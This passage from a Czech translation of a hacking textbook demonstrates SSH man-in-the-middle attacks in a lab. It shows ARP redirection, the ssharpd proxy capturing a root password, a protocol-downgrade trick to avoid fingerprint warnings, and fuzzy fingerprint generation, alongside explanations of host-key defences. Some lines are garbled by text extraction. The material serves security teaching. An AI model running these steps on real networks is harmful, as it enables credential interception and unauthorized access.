overdose# iptables -t nat -A PREROUTING -p tcp --sport 1000:5000 --dport 22 -j
REDIRECT --to-port 1337 -i eth0
overdose# ./ssharpd -4 -p 1337
Dude, Stealth speaking here. This is 7350ssharp, a smart
SSH1 & SSH2 MiM attack implementation. It's for demonstration
and educational purposes ONLY! Think before you type ... (<ENTER> or <Ctrl-C>)
overdose# ./arpredirect.pl 192.168.0.118 192.168.0.189
Pinguju 192.168.0.118 a 192.168.0.189 k získání MAC adres...
Získávám MAC adresu z cache arpu...
Získávám vaše IP a MAC adresy z ifconfig...
[*] Brána: 192.168.0.118 je na 00:C0:F0:79:3D:30
[*] Cíl : 192.168.0.189 je na 00:02:2D:04:93:E4
[*] Vy : 192.168.0.193 je na 00:00:AD:D1:C7:ED
Přesměrovávám: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Přesměrovávám: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Nyní vytvoříme SSH spojení z 192.168.0.118 k 192.168.0.189.
210 0x400 Kryptologie
Výpis: euclid @ 192.168.0.118
euclid$ ssh root@192.168.0.18euclid$ 192.168.0.189
The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established.
RSA key fingerprint is 01:17:51:de:91:9b:58:69:b2:91:6f:3a:e2:f8:48:fe.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.0.189' (RSA) to the list of known hosts.
root@192.168.0.189's password:
Last login: Wed Jan 22 14:03:57 2003 from 192.168.0.118
tetsuo# exit
Connection to 192.168.0.189 closed.
euclid$
Všechno zdá se funguje a spojení se jeví jako bezpečné. Nicméně na pozadí
stroje 192.168.0.193 se odehrává tohle:
Přesměrovávám: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Přesměrovávám: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Zachyceno Ctrl-C, ukončuji se.
Vracím cache arpu do normálu.
overdose# cat /tmp/ssharp
192.168.0.189:22 [root:1h4R)2cr4Kpa$$w0r)]
overdose#
Protože byl proces autentizace přesměrován na proxy 192.168.0.193,
bylo možné odposlechnout heslo.
Schopnost útočníka vydávat se za druhou stranu je tím, co dělá tento
útok úspěšným. SSL a SSH byly navrženy tak, že s touto možností počítají,
a tak mají ochranu proti podvržení identity. SSL k ověření identity používá
certifikáty a SSH používá otisky hostitele. Jestliže útočník nemá příslušný
certifikát nebo otisk pro B, jakmile se A pokusí vytvořit šifrovaný komunikační
kanál, signatury se nebudou shodovat a A na to bude upozorněn.
V předchozím příkladě 192.168.0.118 (euclid) nikdy předtím nekomunikoval
přes SSH s 192.168.0.189 (tetsuo) a proto nebude mít otisk hostitele.
Tento otisk, který byl přijat, byl ve skutečnosti otisk pro 192.168.0.193
(overdose). Pokud by tomu tak nebylo, 192.168.0.118 by už měl otisk
hostitele pro 192.168.0.189, celý útok by byl vyzrazen a uživatel by obdržel
viditelné varování, že něco není v pořádku.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Hacking: umění exploitace 211
Someone could be eavesdropping on you right now (man-in-the-middle attack)Someone attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
01:17:51:de:91:9b:58:69:b2:91:6f:3a:e2:f8:48:fe.
Please contact your system administrator.
Klient OpenSSH nedovolí uživateli připojit se, dokud se otisk starého počítače
neodstraní. Nicméně mnoho Windows SSH klientů toto striktní pravidlo
nedodržuje a nabízí uživateli dialog box ve stylu "Jste si jisti
že chcete pokračovat?", kterým se neinformovaný uživatel bez starostí
prokliká.
0x452 Rozdí ly v otiscích host itele protokolu
SSH
Otisky hostitele SSH mají několik slabin. Ty se sice odstranily v novějších
verzích, ale ve starších implementacích nadále existují.
Obvykle se nejprve, když se vytváří SSH spojení s novým hostitelem,
vloží jeho otisk do souboru known_hosts, jak je vidět zde.
$ ssh 192.168.0.189
The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established.
RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.0.189' (RSA) to the list of known hosts.
matrix@192.168.0.189's password: <ctrl-c>
$ grep 192.168.0.189 .ssh/known_hosts
192.168.0.189 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAztDssBM41F7IPw+q/SXRjrqPp0ZazT1gfofdmBx9oVHBcHlby
rJDTdEhzA2EAXU6YowxyhApWUptpbPru4JW7aLhtCsWKLSFYAkdVnaXTIbWDD8rAfKFLOdaaW0ODx
ALOROxoTYasxMLWN4Ri0cdwpXZyyRqyYJP72Kqmdz1kjk=
Existují nicméně dvě odlišné verze protokolu SSH SSH1 a SSH2 každá
s vlastními otisky.
$ ssh -1 192.168.0.189
The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established.
RSA1 key fingerprint is 87:6d:82:7f:15:49:37:af:3f:86:26:da:75:f1:bb:be.
Are you sure you want to continue connecting (yes/no)?
$ ssh -2 192.168.0.189
The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established.
RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f.
Are you sure you want to continue connecting (yes/no)?
$
212 0x400 Kryptologie
Banner zobrazený SSH serverem popisuje, které protokoly SSH podporuje
(vyznačeno tučně).
$ telnet 192.168.0.193 22
Trying 192.168.0.193...
Connected to 192.168.0.193.
Escape character is '^]'.
SSH-2.0-OpenSSH_3.5p1
Connection closed by foreign host.
$ telnet 192.168.0.189 22
Trying 192.168.0.189...
Connected to 192.168.0.189.
Escape character is '^]'.
SSH-1.99-OpenSSH_3.5p1
Connection closed by foreign host.
Banner z 192.168.0.193 obsahuje řetězec "SSH-2.0", což znamená, že
podporuje pouze protokol verze 2. Banner z 192.168.0.189 obsahuje řetězec
"SSH-1.99", takže podporuje protokoly verze 1 i 2. Podle konvence
"1.99" znamená, že podporuje oba protokoly. Často bývají SSH servery
nakonfigurovány tak, že zobrazují řetězec jako třeba "Protokol 1,2", což
znamená, že server používá oba protokoly, přičemž upřednostňuje verzi
SSH1.
V případě 192.168.0.193 je zřejmé, že libovolný klient, který se připojuje,
používá pouze verzi SSH2 a potom tedy používá otisk hostitele pro
protokol 2. V případě 192.168.0.189 je pravděpodobné, že komunikuje
pouze přes SSH1 a potom tedy bude mít otisk pro protokol 1.
Jestliže se pro útok typu MiM použil modifikovaný SSH démon, který donutil
klienta komunikovat jiným protokolem, nebudou nalezeny žádné otisky
hostitele. Uživatel bude jednoduše dotázán, zda-li si přeje uložit nový
otisk, namísto nějakého dlouhého varování. Nástroj ssharp má režim, ve
kterém se snaží donutit klienta komunikovat takovou verzí protokolu, která
varování méně pravděpodobněji zobrazí a aktivuje se pomocí přepínače -
7. Níže uvedený výstup nám ukazuje, že SSH server obvykle používá protokol
1, takže se pomocí přepínače -7 donutí používat protokol 2.
Výpis: Na eucl id @ 192.168.0.118 před MiM útokem
euclid$ telnet 192.168.0.189 22
Trying 192.168.0.189...
Connected to 192.168.0.189.
Escape character is '^]'.
SSH-1.99-OpenSSH_3.5p1
Hacking: umění exploitace 213
Výpis: Na overdose @ 192.168.0.118 při MiM útoku
overdose# iptables -t nat -A PREROUTING -p tcp --sport 1000:5000 --dport 22 -j
REDIRECT --to-port 1337 -i eth0
overdose# ./ssharpd -4 -p 1337 -7
Dude, Stealth speaking here. This is 7350ssharp, a smart
SSH1 & SSH2 MiM attack implementation. It's for demonstration
and educational purposes ONLY! Think before you type ... (<ENTER> or <Ctrl-C>)
Using special SSH2 MiM ...
overdose# ./arpredirect.pl 192.168.0.118 192.168.0.189
Pinguju 192.168.0.118 a 192.168.0.189 k získání MAC adres...
Získávám MAC adresu z cache arpu...
Získávám vaše IP a MAC adresy z ifconfig...
[*] Brána: 192.168.0.118 je na 00:C0:F0:79:3D:30
[*] Cíl : 192.168.0.189 je na 00:02:2D:04:93:E4
[*] Vy : 192.168.0.193 je na 00:00:AD:D1:C7:ED
Přesměrovávám: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Přesměrovávám: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Výpis: Z eucl id @ 192.168.0.118 po MiM útoku
euclid$ telnet 192.168.0.189 22
Trying 192.168.0.189...
Connected to 192.168.0.189.
Escape character is '^]'.
SSH-2.0-OpenSSH_3.5p1
Obvykle se klienti jako euclid připojují k 192.168.0.189 pouze pomocí
SSH1, takže by měl být u klienta uložený jen otisk pro protokol 1. Když se
během MiM útoku vnutí protokol 2, nebude se porovnávat otisk útočníka
s uloženým otiskem kvůli odlišnosti verzí protokolu. Starší implementace
se jednoduše dotážou, zda-li si uživatel přeje otisk přidat do seznamu, protože
technicky vzato žádný otisk pro tento protokol uložený není. To je vidět
v následujícím výstupu.
euclid$ ssh root@192.168.0.189
The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established.
RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f.
Are you sure you want to continue connecting (yes/no)?
214 0x400 Kryptologie
Protože je tato slabina veřejně známá, nové implementace OpenSSH mají
trochu delší varování:
euclid$ ssh root@192.168.0.18euclid$ 192.168.0.189
WARNING: RSA1 key found for host 192.168.0.189
in /home/matrix/.ssh/known_hosts:19
RSA1 key fingerprint c0:42:19:c7:0d:dc:d7:65:cd:c3:a6:53:ec:fb:82:f8.
The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established,
but keys of different type are already known for this host.
RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f.
Are you sure you want to continue connecting (yes/no)?
Toto modifikované varování není tak do očí bijící, jako když se otisky stejného
protokolu neshodují. Protože ale ne všichni klienti jsou aktuální, může
se stále tato technika při MiM útoku hodit.
0x453 Fuzzy otisky
Konrad Riedl měl zajímavou myšlenku ohledně SSH otisků hostitele. Uživatelé
se často připojují na server z jiných klientů. Otisk se zobrazí a přidá
se do seznamu po každém použití nového klienta a uživatel je schopný si
časem zapamatovat obecnou strukturu otisku.
Nikdo si sice nepamatuje celý otisk, ale významnější změny si člověk
s trochou snahy všimne. Vědět jak otisk vypadá, když se připojujete pomocí
nového klienta, významně zvyšuje bezpečnost spojení. Pokud došlo
k MiM útoku, obvykle je možné změnu otisku okem vypozorovat.
Nicméně zrak a mozek se dají ošálit, některé otisky mohou vypadat velmi
podobně jako jiné. Číslice jako třeba 1 a 7 vypadají hodně podobně,
v závislosti na zobrazeném fontu. Obvykle se hexadecimální číslice zapamatovávají
jednodušeji ze začátku, zatímco číslice uprostřed hůř.
Cílem techniky fuzzy otisků je vygenerovat uživatelské klíče s otisky, které
vypadají dostatečně podobně jako originál, aby zmátly lidské oko.
Balíček OpenSSH poskytuje nástroje k získání hostitelského klíče ze serverů.
overdose$ ssh-keyscan -t rsa 192.168.0.189 > /tmp/189.hostkey
# 192.168.0.189 SSH-1.99-OpenSSH_3.5p1
overdose$ cat /tmp/189.hostkey
192.168.0.189 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAztDssBM41F7IPw+q/SXRjrqPp0ZazT1gfofdmBx9oVHBcHlby
rJDTdEhzA2EAXU6YowxyhApWUptpbPru4JW7aLhtCsWKLSFYAkdVnaXTIbWDD8rAfKFLOdaaW0ODx
ALOROxoTYasxMLWN4Ri0cdwpXZyyRqyYJP72Kqmdz1kjk=
overdose$ ssh-keygen -l -f /tmp/189.hostkey
Hacking: umění exploitace 215
1024 cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f 192.168.0.181024 192.168.0.189
overdose$
Nyní, když je znám formát otisku hostitelského klíče stroje 192.168.0.189,
mohou být vygenerovány podobně vypadající fuzzy otisky. Program, který
to umí, vyvinul pan Riedl a můžete jej získat na adrese http://www.thc.
org/thc-ffp/. Následující výstup demonstruje vytvoření pár fuzzy otisků pro
192.168.0.189.
overdose$ ffp
Usage: ffp [Options]
Options:
-f type Specify type of fingerprint to use [Default: md5]
Available: md5, sha1, ripemd
-t hash Target fingerprint in byte blocks.
Colon-separated: 01:23:45:67... or as string 01234567...
-k type Specify type of key to calculate [Default: rsa]
Available: rsa, dsa
-b bits Number of bits in the keys to calculate [Default: 1024]
-K mode Specify key calulation mode [Default: sloppy]
Available: sloppy, accurate
-m type Specify type of fuzzy map to use [Default: gauss]
Available: gauss, cosine
-v variation Variation to use for fuzzy map generation [Default: 7.3]
-y mean Mean value to use for fuzzy map generation [Default: 0.14]
-l size Size of list that contains best fingerprints [Default: 10]
-s filename Filename of the state file [Default: /var/tmp/ffp.state]
-e Extract SSH host key pairs from state file
-d directory Directory to store generated ssh keys to [Default: /tmp]
-p period Period to save state file and display state [Default: 60]
-V Display version information
No state file /var/tmp/ffp.state present, specify a target hash.
$ ffp -f md5 -k rsa -b 1024 -t cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f
---[Initializing]--------------------------------------------------------------
Initializing Crunch Hash: Done
Initializing Fuzzy Map: Done
Initializing Private Key: Done
Initializing Hash List: Done
Initializing FFP State: Done
---[Fuzzy Map]-----------------------------------------------------------------
Length: 32
Type: Inverse Gaussian Distribution